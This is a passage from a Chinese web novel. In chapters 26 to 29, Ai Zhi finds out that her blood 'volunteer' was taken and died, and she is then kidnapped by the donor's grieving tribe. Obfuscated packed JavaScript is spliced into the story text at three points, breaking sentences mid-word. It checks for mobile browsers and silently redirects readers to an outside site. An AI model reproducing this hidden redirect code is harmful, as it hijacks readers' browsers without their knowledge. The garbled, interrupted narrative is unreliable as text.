罗温是阿琪洛大人最为得意的学生，阿琪洛大人不在，罗温可当半个说话决策人。 面对罗温质问的眼神，A1038不敢回应。 “罗温先生请你告诉我，我换的是谁的血，是人类的吗？换血的人现在还在不在，是不是还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16459823|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活着？” 面向艾知那双急切的想要一个答案的眼睛，罗温忽然不知道怎么开口了。一看A1038畏畏缩缩的表情就知道，这家伙说漏了嘴。 这种事情对于主张人道主义的旧地球人来说，显然是难以接受的，罗温观察了四周的隐形摄像头，不动声色地松开抓紧自己袖口的艾知，与她保持距离。 “小姐我衣服没消毒，小心有病菌。” “您放心，实验……与您换血的人生命也无大碍。” 罗温今年24岁，长得很清秀，尤其是那双浅棕的犹如琥珀一般的瞳孔，看上去十分有亲和力，他尽可能让自己看上去更加没有攻击性，让艾知相信自己。 “我向您保证，您和换血对象身体都会非常健康。” 见艾知并未排斥自己，罗温试图将她引导带回室内：“您现在身体还很虚弱，还是请您回修养舱中比较好。” 换血之后会有排异反应，如果不及时进修养舱修复身体受损，艾知会承受难以忍受的痛苦。 艾知停住，没再往前走，她的眼睛清透明亮：“罗温先生，你是救我一命的恩人，所以谢谢你。” 罗温身形一顿，沉默了两秒后才开口：“我只是做了我应做的事情，救您的是阿琪洛大人。您不用跟我道谢的。” 艾知已没有刚开始的震惊和无法接受，恢复情绪后的她此刻非常理智和清醒。 “我想看看那个跟我换血的人，既然对方同我换了血，也是我的救命恩人，我想当面谢谢他。” 见罗温愣住，她笑了。 “您不是跟我保证对方身体会非常健康吗？我想我去看一看应该也没什么事吧。” 罗温语塞，有种搬起石头砸自己脚的感觉。大脑内飞速旋转，想怎么回艾知圆谎，迟载这时忽然进来。 他是看到了监控，所以才过来的吗？罗温心想还好自己没有再多说什么，也没有对艾知做什么不合时宜的碰触。 但见到迟载，罗温还是松了口气，好像有迟载在，才能应付的了艾知。 尽管罗温之前救了命悬一线的艾知，迟载对他态度还是比较客气的，但眼下，识时务者为俊杰的罗温觉得自己还是先走为妙。 解释什么的还是让迟公子代劳吧。 罗温正想着如何开溜，迟载开口的话直接将罗温原地定住。 “我刚刚听到小爱想看望为我们换血的志愿者，我想这个应该是可以探望的吧？我们也该说声感谢的。” 好一个迟载，真不愧是第二区首辅大臣的独子。 竟将自己在艾知面前摘得干干净净，还将实验活体美其名曰“志愿者”，好像同意用实验活体代替人造血的不是他一样。 罗温努力克制住想翻白眼的心，面上依旧恭恭敬敬接下迟载递过来的“台阶”。 “现在换血的……志愿者刚刚换血完毕，身体还需要静养，等身体恢复后便可前去探望。” 理由当然是假的，一个新地球人身上的血被替换成要枯涸的旧地球人的血，新地球人的结局只有一个——必死无疑。 从来都只有新替旧，不存在旧替新。 这是罗温第一次与迟载合谋，欺骗了艾知。 走之前，罗温抬头看了眼艾知，他不知道这个女孩的世界是由多少个谎言编织而成的，但这一次，艾知世界的谎言又新添了一个，而留言者是罗温。 迟载病态的控制欲下，艾知活在了一个不谙世事的美好童话屋中，童话屋漂亮精致却处处透露着虚假和欺骗。 可艾知显然不是愚钝到不会对任何人设防，没有自我判断力的傻白甜性格，尽管被迟载养的娇憨乖巧，但甜美外表下的她是理智冷静的。 迟载为她打造的童话房屋迟早有一天会漏出谎言的地基。 也许是艾知自己发现，也许是意外暴露。 罗温并不担心谎言败露是否能够影响到迟载，他只担心一心信赖迟载的艾知能否承受住童话屋的坍塌，以及能否有勇气面对废墟下掩盖的所有真相。 26. 第 26 章 罗温走后，迟载想去搀艾知，却被艾知避开。 “怎么了？”迟载愣神，手腾在半空中。 艾知抬眼直视迟载：“你明明知道不是人造血。” 原来是生这个气呢，迟载笑笑，不以为意。 “我知道的时间只比你早一点，但刚开始也很震惊，但是想着对你更好，所以就同意了。怕你接受不了，我就没告诉你真相。” 孰真孰假，艾知发现她竟从迟载的眼神中读不到确定的信息。 她与他在一起的这么多年，她对他的深信不疑，她以为迟载不会骗她，但这一次迟载食言了。 他这一次对自己说谎，会不会下一次还会说谎呢？ 艾知的认知内，恋人都是相互坦诚的，不会对彼此有隐瞒或是欺骗，即使是迫不得已，也需要说出缘由。 若不是这一次她主动提出，迟载或许永远都不会说出真相。 “宝贝，你身体刚刚——” 迟载伸手想去牵手，反被艾知拉住，她认真地说：“小识哥哥，我不想你瞒我，有什么事情你可以直接跟我说的。” “好啊，我答应你，以后都不瞒你。” 男人再次说谎。 纤长的手抚上艾知的脸颊，换血之后女孩的脸再也不是濒临死亡的苍白，而是泛着淡淡红晕。自从身体出了问题后，艾知的脸色没有像现在这般好看。 迟载很满意阿琪洛的换血计划，唯一美中不足的就是，知道可以通过换血延长艾知的寿命这件事迟载知道得太晚了。 许是换了现代人的血，艾知整个人都透着一点粉，那是健康蓬勃生命力的颜色。纤长浓密的羽睫下是清纯的眼睛，连张口的唇也粉嫩动人，迟载渐渐盯出了神，他想吻她。 男人的脑子里只有想吻艾知的念头，连艾知说话也没注意。 “答应和我换血的志愿者是男生还是女生啊？” 迟载低头，勾住艾知的下巴，让她往上仰了仰，离她的唇还有一厘米的时候，眼神炙热，开口回答：“无论男女，他们都愿意为你奉献他们的血。” 说罢，迟载吻了上去。 面对忽然压制过来的冷静自持的高冷俊脸和拂面而来的浓郁的鸢尾花香，原本想躲避的艾知眼神迷离了，意识逐渐沉迷在花香中，不自觉启了唇。 迟载趁虚而入，发动攻击，纠缠着那根细软的舌，艾知抵挡不住，身子也软下来。迟载将抱起，让艾知环过他的脖颈。两人在花香和静谧中接吻，诉说亲昵爱意。 顾上艾知身体还未恢复完全，只得小心地汲取少女口中的甜蜜。 迟载将艾知抱回修养舱，哄她入睡。也许是迟载在身边艾知有安全感，艾知忘记了自己刚刚的问题，很快合眼睡着了。 在修养舱中呆了三天，艾知的身体已如往常，机械心脏还要一段时间才能制好，迟载就带着艾知在庞陇城观光。 迟载本来打算带艾知去庞陇城的郊区森林露营，首辅宫传来简讯，有一场紧急会议要求迟载立刻就位。尽管已经上报了休假，但是事发紧急，整个部门人包括林赛都得等着迟载做决定，迟载只能放弃今日的计划，在他们带来的舰船上开了会议。 迟载走前对艾知表达的歉意，但艾知并没有生气。 “其实让小伽和A1038陪我去就可以了，他们可以保护我的。” 因为听说只有今日才可以在庞陇城的森林中窥见百年难一遇的萤火虫，迟载不想让艾知错过这样的自然奇观，想了想就答应了。 于是艾知和小伽，还有指路的A1038就出发了。 因为小伽话多，A1038话密，两个机器用人一见了面，场面就更加热闹了，叽叽咕咕地说个没玩，最后艾知实在没精力了，一个人坐在小伽搭好的纳米科技帐篷下守着被炭火炙烤的烤肉，听他俩说八卦。 三个人各有各的忙活，丝毫没注意周边的异样。 “你有听到附近草丛的动静吗？”小伽停下，望了望四周，问A1038。 “没有哇。”A1038还要继续讲他是怎么到阿琪洛大人这里的，“我刚刚还没说完呢。我见到了罗温大人——” “是我听错了？”小伽瞅了眼艾知，见艾知还在聚精会神地烤肉，才放下心。 刚刚同A1038聊天的时候，他巡视了一圈，侦查眼并未发现异样。 “你跟着迟公子一天到晚心惊胆战的都搞成习惯了，说不定就是一阵风吹过而已。艾知小姐现在不是正舒舒服服坐在那里玩嘛。”A1038不以为意，讲到兴起，直接坐到小伽对面跟他继续聊天。 小伽觉得A1038说得有理，可能是自己平常跟着迟载万事都小心翼翼的，所以就养成了风吹草动都非常警惕的性格。 风起的很大，将小伽生的火给扑灭了。艾知见小伽和A1038正聊的开心，就没打扰他俩，自己决定去露营附近找点干树枝当柴火。 “我跟你说个秘密啊，这是我路过阿琪洛大人会议室偷听到的。” A1038神神秘秘的，非要小伽靠近点才肯说。 “你们家公子问阿琪洛大人艾知小姐的机械心脏什么时候才能制好，能不能赶在3月20日之前完成。我家阿琪洛大人就说你急什么，你们家公子说艾知小姐马上要满20岁生日了，他想将机械心脏作为艾知小姐的成年礼物送给她。并在她生日的那一天向她求婚。” 小伽睁大了他的豆豆电子眼，嘴巴张的比眼睛还大：“你说什么？！求婚！！！” A1038立刻捂住小伽的嘴巴，往四周看了看：“还好艾知小姐不在，你这一嗓子绝对要让艾知小姐听到了。到时候迟公子就不能准备惊喜了。” 是啊，幸好艾知小姐不在，小伽拍拍胸脯。 不对，艾知小姐不在？！ 求婚的震惊被彻底压了下去，小伽腾地一下站起来，发现烤肉架那里并无艾知的身影，不好的预感慢慢浮上心头。 小伽开启侦查眼模式，发现四下毫无艾知的任何定位信息。 一定有人专门干扰了他的侦查，屏蔽了信号，也就是说在他与A1038聊天之际，把艾知掳走了。 掳走的人一定有备而来，他分明划了区域线，一般人是无法靠近的，除非有人能够破解屏障，才能将艾知带走。 “公子现在应该在会议上，不能抽身。你快去通知阿琪洛大人，就说艾知小姐失踪了。” 小伽声音颤颤的，但是脑子十分清晰，他知道，如果艾知找不回来，他与A1038的下场一定不会太好看。 …… 一时间天旋地转，头剧烈的疼痛让艾知恶心的想吐。 艾知挣扎着睁开眼睛，发现自己被绑在一间黑漆漆只有一点亮光的小房间里。 她最后的记忆是捡树枝时余光看见一个黑影，然后下一秒自己的脖颈传来剧烈的疼痛，然后她一睁眼就在这里了。 有人能穿过屏障把她带到这里，还把她绑着，只说明这是一场有预谋的绑架。所以艾知醒了后也没叫喊，喊了也没用，外面肯定都是一伙的，不如保存体力等待迟载来救她。 不知过了多久，外面滴了一声，艾知赶紧闭眼装睡，听脚步声好像有人向她靠近。 但那个人并未对她有什么行动，只是站在那儿不说话，久到艾知忍不住想睁眼看对方到底想干什么。 结果对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阿诺见主人失控，急得犬吠几声，咬住主人的衣角不让他伤害这个身上散发着它熟悉的味道的陌生人。 艾知被困住，动不了一下，只能眼睁睁地盯着已经愤怒到极点的少年。 她大脑一时短路。 罗温不是说志愿者的生命安全可以得到保障吗？ 小识哥哥还答应自己过几天去看望那个志愿者。眼前这个男孩的态度显然不是罗温和小识哥哥说的那般美好。 男孩的反应已让艾知确认与自己换血的志愿者就是男孩口中的姐姐。 难道说与自己换血并非本人意愿，并且对方现在已经因此丧命？ 短短几秒，艾知捋清了思路。她明白自己为什么会被绑来这里，也明白为什么男孩这么愤怒，仇视她。 而那只叫阿诺的小狗为什么想亲近她，因为她身上流的是它熟悉的人的血。 只是她不理解的还有几点。 艾知尽量让自己的声音听起来没那么恐惧和颤抖： “既然你的长老不让你杀我，那你可以先告诉我你姐姐为什么会跟我换血吗？” 这是她最想知道的问题，既然换血非本人意愿，为什么又会出现在阿琪洛的实验医疗室呢？ “你不配知道这些！你也不配提起我姐姐！”男孩的声音也在颤抖，不过他是愤怒的。 “阿言！你在做什么？！” 外面闯进来好几个人，几个身高马大的男人压住这个叫阿言的少年，少年挣扎下，握在手中的刀刺破了艾知的脖子，只差一点点就触及动脉。 鲜血霎时间涌出，男孩看见愣住，呆呆地看着艾知脖子流出的血，眼泪不自觉地就流了下来：“姐姐……” 率先闯进来的是一个拄着有雕刻花纹的木拐杖的白胡子老头，出言制止的也是他。 见阿言放声大哭，叹了口气后叫人把哭到神志不清的阿言带走，而对极度惊吓后的艾知没留任何眼神，牵着狗便离开了。 27. 第 27 章 刚刚的一幕就像电影放映似的在艾知脑海中循环播放，脖子的刀口好像已经干涸，鲜血不再往外流。 艾知嗅到自己身上的血腥味，眼神由最初的迷茫，不敢置信转为了绝望。 所以根本就不存在志愿者。 他们把阿言的姐姐抓来迫使她换血，从而让她丢掉了性命。 至于是谁抓来的已经不重要了，因为换血的受益人是她艾知，她与他们一道谋害了阿言的姐姐。 血渍留在衣服上散发出铁锈的味道，艾知忽然好想吐，但是什么都吐不出来。 她为自己恶心，也为“志愿者”这个名字恶心。 静谧黑暗让一切都好像停滞了一般，艾知睁着一双眼睛直挺挺地看向前方。 划破的脖子好痛，身上的骨头好痛，血液流动到身体的每一处，就像大火燎过荒原，留下的都是灼烧与刺痛的痕迹。 痛感让艾知的意识愈加清醒，她没有办法通过睡觉来缓解苦楚。 血管痉挛，身上的每一块肌肉都像撕裂了一样，痛的她大喘气。因为被绑在一个椅子上，她也无法动弹，只能任凭强烈的痛感一遍又一遍席卷全身。 终于她撑不住了，一个翻身，人连着椅子“轰”的一声栽倒在地。 头抵在冰冷的地面上，艾知缓缓闭上眼睛，而溢出的泪水倒流太阳穴。 疼痛、委屈、愧疚、担忧、害怕全部化成泪水，艾知再也忍不住，小声地呜咽起来。 意识模糊之际，她好像看见了小时候的自己和头发已经花白的奶奶。 小小的她因为生长痛缩在奶奶怀中，捂着膝盖，呜呜地哭。奶奶在昏暗的灯光下一边拍她，一边给她唱童谣。 “阿囡乖，在婆怀，棉袄细细裁，鞋儿白，雪皑皑，燕子迎春来。 阿囡乖，等香槐，落花满怀揣，游鱼快，笼云霭，阿婆道囡乖。” 小时候一难受，阿婆就唱这首童谣哄自己，她说小知是天底下最乖的囡囡，只要奶奶呼一口气，艾知就不痛了。 艾知流着泪，心里想着奶奶，哼起了这首存在记忆中的童谣。 她一边唱一边想着奶奶，渐渐地，身体上的涨痛好似真的减轻许多，声音也大了一些。 刚刚冷静下来的阿言打算去给阿诺送饭，路过看押艾知的小房子，依稀在附近听见了断断续续的气息不稳的歌谣。 歌谣不能算是十分悦耳，歌唱者声音很虚弱，有气无力的，但胜在歌谣古老，像是很久之前的人传唱的歌谣。 童谣语调轻柔，令阿言想起了过世的阿祖。 他小的时候，阿祖也喜欢搂着他给他唱代代相传的童谣，哄他入睡。 他循声找去，发现声音是从关押杀害姐姐房子里传出来的。 听声音，是那个女孩在唱歌谣。 阿言脸色立刻垮下来，冷着一张脸径直离去。 “好好的一首歌白瞎她来唱了，一点都不好听，难听死了！” 阿言生着气来到阿诺的窝前，将饭食递到阿诺面前。 阿诺见到是阿言来给它送饭，很激动。跳起来就扑到阿言怀里，哈着气舔少年的脸。 阿言这才露出笑脸：“不闹了，快点吃，今天不能多陪你玩了。阿爸和长老们要讨论该怎么处置那个女人，我得去旁边听。” 见阿诺吃的正欢，本想让阿诺教训一下那个女人的，结果阿诺并不排斥艾知，还想护着她，阿言又有点生气，戳了一下阿诺的脑袋。 “你就晓得吃，给你点好处你就往人怀里钻。今天你居然想去找那个杀害了姐姐的女人。” 阿诺哪里知道主人的心思，但听语气它知道阿言不开心，于是停下进食，把头往阿诺手上凑，想让他呼噜一下它的头开心点。 他们以前就是这么玩的，阿言一不开心，阿诺就把头凑到阿言手边，让他摸自己顺滑的毛发。 庞陇城现今已经没有多少犬类生存了。 阿诺是血脉纯正的德牧犬，它妈妈当年怀着阿诺为躲避追捕，逃进了庞陇城的大山，被上山捡药材的阿爸和阿姐碰上，救了下来。 阿诺的妈妈被捕兽箭射中，救治的太晚，阿诺妈妈生下阿诺后就离世了。阿诺这个小狗崽是姐姐和阿诺一点一点喂大的。 “好了不怪你，你又能知道什么呢？她身上有姐姐的气味，你是被迷惑了。” 阿言垂眸蹲下来看向阿诺，“姐姐要是知道我伤人了，不知道会不会说我。她给我这把短刀是叫我防身用的，但是我却想杀人，你说我是不是辜负了姐姐对我的信任？” “但是我也没错，对不对？那个女人她就该死，我没一刀抹了她脖子算她走运，可是你为什么要阻拦我呢？我也只是想为姐姐报仇，你难道就不想为姐姐报仇吗……” 阿言有一搭没一搭地跟阿诺说着话，自从从那个屋子出来，他的心情就乱糟糟的，那个女人的眼睛他总是忘不掉。 她的眼神不谙世事，就像阿诺小时候的眼睛，很纯粹，总是充满对这个世界的不解。 “她就是在装可怜扮无辜！” 自己又莫名其妙想到那个女人，阿言很是恼火，可话说出口，他又深感抱歉，像是补偿似的挠了挠阿诺的狗脑袋，“对不起啊，我不是说你，你很好阿诺，你的眼睛很好看。她像你是她的福气。” 阿诺听不懂阿言乱七八糟没有逻辑的话，见阿言没再难受了，它闷着头开始吃起了自己的饭。 喂完阿诺，阿言捧着盘子往回走，他本想避开关押那个女人的柴房，但脚步却往那边越靠越近。 柴房里的声音要比之前听更加嘶哑，含着哭腔的童谣一点都不好听，但是阿言就是没法挪动他的腿。 他想知道房子里的那个女人到底能唱到什么时候。 女孩的声音像是飘渺的烟云，又似山间清冽的泉水，时断时续，忽重忽轻，阿言想如果声音不是喑哑的，她唱童谣应该更好听些。 忽然伴随着一阵猛烈的咳嗽，童谣戛然而止，继而是久久的寂静。 “怎么了？怎么不继续唱了？非得把嗓子唱哑，逞什么强呢。” 阿言似是不满地轻哼一声，他的思绪总抛不开房子里的那个女人。 他等着她继续唱，等了许久，外边的天都黑了，也没见着她继续唱。 离阿爸和长老们开会的时间还有一个小时，阿言想着阿诺已经喂完了饭，自觉没趣打算回自己的住处。 刚要转身，他忽然想起自从那个女人被绑到这里已经一天一夜了，在这期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16483639|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间她滴水未进，脖子还被自己抹了一刀。 难不成刚刚她不是嗓子哑了，而是晕倒了？ 阿言的心很沉，开了锁进去了。 灯亮起后，阿言发现那个女人连同着困住她的椅子倒在地上，一声不吭，甚至毫无声响。 阿言板着脸走近，扶起椅子时手不小心碰到了女人的胳膊，皮肤的灼烫吓了阿言一跳。 艾知的皮肤浮现极其不正常的红色，她的头发散乱贴在脸颊，额头乃至全身都十分滚烫，整个人被烧得意识涣散，但仍在张嘴说什么，只能将耳朵贴近才能勉强听见她的呢喃。 阿言听见艾知说“好冷好痛”，过了一会艾知又说“对不起”。 阿言一顿，继而眉头一紧，直接拿身上的金刚石弯刀割开了捆住艾知的高材质绳索。艾知没了束缚，整个身子不受控地倒向阿言。 艾知缓缓睁开了眼，她看了眼一脸凝重的阿言，又迷迷糊糊地说了声对不起，头一歪晕了过去，脖子连同肩颈处那条直径长达七厘米的伤口剌剌地暴露在阿言眼皮子下。 如果疼痛能让人成长，艾知觉得疼痛让她快要疯掉了。 好像十五岁起，她就与疼痛和昏厥相伴相生，甚至每一次睁眼都无法确定自己是否还停留在原地未曾离开。 但这一次，血管几欲爆裂的疼痛让她的颅内神经时刻紧绷，她觉得她血管内流的不是血液而是岩浆，好似要将她烫化。她浑身上下没有一块肉是不痛的，像是有万千蚂蚁在啃噬她的每一寸肌肤。 她意识游离，耳鸣严重。 周围人说话传到耳内皆是嗡鸣，仿佛睁眼都要耗费她全部的力气，她知道她在张嘴说话，但是她不知道自己说了什么。 直到一条浸着草药香的冰凉的类似毛巾的东西盖在她的额头，她的轰鸣世界才彻底安静。 阿言看着躺在草席上忽然静下来，不再说胡话的艾知，心里不知想了什么，起身出去，不到一刻又折返回来，这次回来，他手里拿的是一个罐子。 艾知意识恍惚之际，忽感脖子一阵冰凉，刺激得她缩了一下，意识清醒许多。只听得一个男人“嘶”了一声，让她别动，于是她便乖乖躺好不再动弹，任凭对方给自己脖子抹冰冰凉凉的药膏。 “晕了还这么不老实。”阿言嘴上不饶人，手上的动作则是非常麻利。 抹好祖传的秘制药膏后，她的脖子大概率不会留下疤痕。 小姑娘都是爱美的，他姐姐手上破个小口子都要嘀咕半天，她脖子上划那么长一道口子……阿言猛地一愣，涂药的手不受控地抖了两下，刺激地艾知眉头紧锁，又哼了两声。 她分明是杀害姐姐的凶手，他怎么还担心她留疤，他不杀了她算是他菩萨心肠。 阿言叹了口气，心里暗自劝说自己。现在他这么做只是为了让她不那么早死，等阿爸他们商量出个决策后，再慢慢折磨她，让她尝一遍姐姐最后灯尽油枯的痛苦。 想通后，阿言心里堵的那口气才疏通开，见艾知的气息平稳许多，脸色也恢复了正常，他又从右侧衣服的口袋里掏出一瓶营养剂，喂给艾知后，这才放心离开。 阿言一走，已经清醒的艾知缓缓睁了眼，不知道她想了什么，一滴泪从她眼角滑进她的鬓发间。 28. 第 28 章 第二天清晨，柴房忽然闯进一大群人，艾知耷拉着眼皮，根本没有力气抬眼。 阿言跟在阿爸的身后，眼睛时不时放在艾知身上，昨夜走得急，他忘记带走降温的草本布条和处理艾知身上敷的药膏。他现在整个人坐立难安，走也不是，留在这儿也不是。 “昨晚你……” 阿爸还未说上后半句，阿言像是给自己找借口似的说道：“我怕她快死了，所以就简单处理了一下。如果现在就让她死掉，实在太便宜她了。” 阿爸并未说话，眯着眼思忖了几秒。他转头看向旁边的长者，也是昨天命人压住阿言的白胡子老头：“您打算如何处置她？” 白胡子老头捋了一把胡子，用拐杖指了指阿言，说道：“失去性命的是你的姐姐，阿言，我问你，你该怎么做？” 阿言并未想到这里还有自己说话的余地，他顿时结巴起来：“我……我……她杀了姐姐当然该死，可是我……” “可是你还是救了她，对吧？”白胡子老头波澜不惊，替阿言回答。 “不是这样子的，长老，我——”阿言看看艾知又看看阿爸，又看向白胡子老头。 “阿言你也不用太好心，她杀了阿音，死有余辜！” “就是啊就是啊，以其人之道还治其人之身，她杀了阿音就该以死谢罪！” 跟着进来的其他族人纷纷嚷道，他们的态度非常坚决，一定要艾知血债血还。 阿言低下头，退到阿爸身后，不再说话，他脑子里一直都是昨夜艾知唱的童谣以及她在有意识前最后说的那句“对不起”。 “你们觉得这样一个小女子能有能力杀的了阿音吗？”白胡子老头的眼睛已是灰白，但眼神十分明亮。 他走到艾知身边，然后面向族人，“你们都是学医的，难道从这个小女子身上看不出来她完全没有杀人换血的能力吗？” 刚刚还叫嚷的族人沉默了，阿爸开了口：“是这样，光靠她一个人是没有办法换血的。她不懂医，是不可能换血的。” “医者仁心，我的态度和阿言一样，先把她救活再说。她虽然换了阿音的血，但身体根本承受不住换血后带来的排斥反应。我们昨天把她丢在这里任凭她承受排斥反应，再加上阿言划了她一刀，这些就够她受的了。” 白胡子老头把阿言叫到眼前，语重心长道，“好孩子，我知道你对你姐姐的死有恨意，你是个善良的孩子，不然也不会见死不救。等把她先治好，能正常说话了，我们再盘问她背后到底是谁。” “根本不用问，肯定是阿琪洛，除了他没人会想得到用这种旁门左道！” 一个红色头发的中年男子站出来，想往艾知那边去，被反应迅速的阿言挡在身前。 “阿言你难道想袒护她吗？她害的可是你亲姐姐！” “龙溪叔，我不是要袒护她。她害了我姐姐，我当然恨她。但是长老已经发话了，先治好她，等她好后再问她背后是谁也不迟。” 阿言挡在艾知身前，脑筋飞速地转起来。 “她的身世一定非富即贵，否则也不会挖空心思用换血这种方法来续命。让她当我们的人质，不管她背后是阿琪洛还是谁，我们有她在手，都不会占下方。” 龙溪“哼”了一声甩袖离去，其余人纷纷也出去了。柴房中仅剩阿爸，阿言，长老还有躺在草席缩在一起的艾知。 “别闭眼睛了，装睡和晕倒不是一码事。”长老侧身，眼神平淡，“刚刚的话你已经听清楚了，我只问你是谁？是不是阿琪洛给你换的血？” 艾知这才缓缓睁开眼睛，冲着刚刚几人的争论，她已明白自己的处境，阿琪洛将这个叫阿言的少年的姐姐抓来给她换了血，即使蒙在鼓里，她作为最后的受益人，也难逃此究。 小识哥哥应该也不知道阿琪洛其实骗了他们。 想到迟载，艾知的眼神暗了许多，他现在应该知道自己失踪了，凭他的性子，一定要急疯了。 “我叫艾知，我……我是从第二区来找阿琪洛医生看病的。我知道，我对不起你们，更对不起跟我换血的阿音。但是他们说有人自愿跟我换血……我并不知道阿音是被抓来的……对不起。” 为了让她活命，他们就让另个人付出了生命……艾知已经不敢深想迟载究竟知不知道这件事。 “换血本不是难事，但自身存在排异，若血液兼容性不能高达90%，换血者必死。你昨夜想必应该体验过排异反应了吧。” 阿言的父亲古善乌的眼神像是一面镜子，直射艾知的内心，“所以很少有人愿意换血。可我不能理解的是，为什么阿音因换血排异而死，但是你却能活得好好的。” “对不起……”艾知声音嘶哑。古善乌的那双眼睛看得她羞愧难当，但是她又无法说出自己并非现代人的真相。 “好了，我们走吧。”长老拄着拐棍慢慢往前走，他注意到徘徊不前的阿言，心下了然，感慨这孩子心地实在太过善良。 他又道：“阿言，这小女子就由你照顾了，等她身体恢复差不多后再决定如何处置她。” 古善乌看了儿子一眼后，搀扶着长老出了阴冷的柴房。 “古善乌，这件事终归是亏欠了你们家。阿音的事我也很遗憾。”老人的声音十分苍老，为自己多年的医术无法挽救一条鲜活的生命而悲叹。 “您已经尽力了，算是我们阿音累了，想提早离开这个艰难的世界。” 阿音那日本来说要去山里采菌子，结果一去再也没回来，派出去不少族里的青壮年去找，都不见踪影。五天后，还是他去部落不远处的荒地看见了倒地的阿音。 那个时候，阿音已经快不行了，古善乌见状赶紧抱着女儿冲进长老的住所。 很可惜，换血后阿音已经遭受了一次严重的排异反应，想救活她已属无力回天。女儿左手手腕戴着一个紫色的圆环，自小也学医的古善乌知道这大概就是换血手术的对应型号。与阿音换血的，必定也佩戴着这个紫色圆环。 换血后需要呼吸大量的氧气，以适应新 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阿言并未搭理艾知，径直出了柴房，艾知以为他不会再回来，结果他又拿来了一管营养剂。 “喝这个。”阿言的脸冷的不能再冷，将营养剂丢到艾知手边，一个人冷冷地抱臂站在一边。 艾知昨夜喝了这个，说实话不难喝，但是也没有好喝到哪去。她记得之前她也喝过小伽为她准备的营养剂，不过都是各种水果口味的，味道又香又甜。阿言给自己的，有一股浓浓的草药的味道。 她挣扎着起身，拧开瓶盖一股脑儿喝完，然后乖巧地将空管放在一边，声音很轻但足够让阿言听清：“谢谢你。” “切，除了谢谢就不会说别的了。”阿言将空管拾起，目光落在艾知血迹斑斑的衣领上，尽管衣服的材质高档，经过这些天的折磨，衣服灰扑扑的，也很脏。 “你就不怕我下药毒死你。”阿言收回眼神，声音很凶，继续摆着一张臭脸。 少年的脸颊还有些肉，嘴角向下的样子总感觉像是在撒娇。 艾知摇头：“不怕，你们都是好人。” 好个屁，还轮得着你评判上了。阿言心道不满，可心里面又被这句话安抚到了。不过他不可以表现出来，他们是敌人，敌人是不可以认同对方的话的。 阿言觉得不能再在这个女人身边呆着了，她太恐怖了，总是潜移默化下改变他原来的想法。 见阿言要走，艾知出言制止：“我可以当你们的人质，然后你们可以以我为要挟找我背后的人。” 果然，阿言停下脚步，像是见到了傻子似的，不可思议地望向艾知。 “我的换血手术是阿琪洛医生操刀的，你们可以派人通风报信到阿琪洛那儿，就说迟公子想找的人在你们这里。” 艾知斩钉截铁，她知道，只有通过这种方式她才可以快速和迟载见上面。 艾知坚信，迟载一旦寻得了她的消息，一定很快就来寻她。到时候见到了迟载，她就把原委告诉迟载，她会和迟载尽自己所能补偿阿言他们部落。 29. 第 29 章 “已经三天了，怎么可能一点消息都没有！” 找寻艾知的机器用人纷纷返回，竟都没有找到艾知的下落。阿琪洛坐不住了，他觉得下一秒迟载就能带着第二区的军用舰队把他的医学基地给炸了。 他想不通科技明明那么先进，竟找不出一点艾知的踪迹，又不是人间蒸发了，一点影子都摸不到，竟然能从在小伽和A1038这两个最为智能的眼皮子底下消失。 除非有人刻意为之，内外接应，否则很难把艾知掳走。 那这个奸细是谁呢…… 阿琪洛捏了捏眉心，太阳穴的青筋突然猛跳了好几下，门一开，迟载冷着一张脸走了进来。 该来的还是会来。 阿琪洛在心里叹了口气，立刻站起身笑脸相迎：“艾知小姐的消息暂时还没有，不过我会加大搜寻力度，保证尽快找到线索，救回艾知小姐的。” 迟载坐在阿琪洛的位子上，跷起二郎腿，冷脸睨向面前的显示屏，淡淡地开口道：“内部查了吗？” 看来迟载也察觉出是有内应了，所以从第二区刚赶回来就过来兴师问罪，以至于第二区军事制服还未换下。 迟载原先是在自己带来的舰船上开会，会议刚结束，父亲迟恩传来简讯，说现任星鹰舰队的队长因病离世，要求他代表前任星鹰舰队队长的祖父，现任第二区首辅大臣的父亲，速速赶去参加追悼仪式。 收到阿琪洛秘密发送的艾知失踪的消息是在灵堂上，迟载脸色大变，周围人误以为迟载是因星鹰舰队队长突然离世而悲痛，非要把迟载这个现任第二区首辅大臣独子推上前说几句慰问的话，以表上层对下属的关怀。 迟载没法，整理好仪容仪表，被迫象征性地说了几句，说完便向遗体鞠了一躬后匆匆离席。众人见状，又夸迟家教子有方。 迟载在艾知失踪的第三天下午才赶回阿琪洛的医学基地。 小伽跟A1038此刻被关在禁闭室，等待迟载的处置发落。 但迟载根本没心情去管犯了严重错误的小伽和A1038，现在最要紧的是找到艾知，所以一回来就闯进了阿琪洛的办公室。 “内部正在严查，但能做出里应外合，把艾知小姐绑走的事情，一定预谋了很久，所以兴师动众地查未免打草惊蛇。我想——” “把小伽和A1038叫过来。”迟载径直打断阿琪洛，眼神极其不耐烦。 …… 柴房内，艾知已换完脖子上的药膏，望向一言不发，绷着一张脸给自己换药的阿言，小心翼翼地问道：“那个……阿言，我可以这么叫你吗？” 阿言又“哼”了一声，避过少女的直视。 艾知只当阿言默认了，于是大着胆子请求：“可以请你给我一条干净的毛巾吗？我想沾水擦一下。” 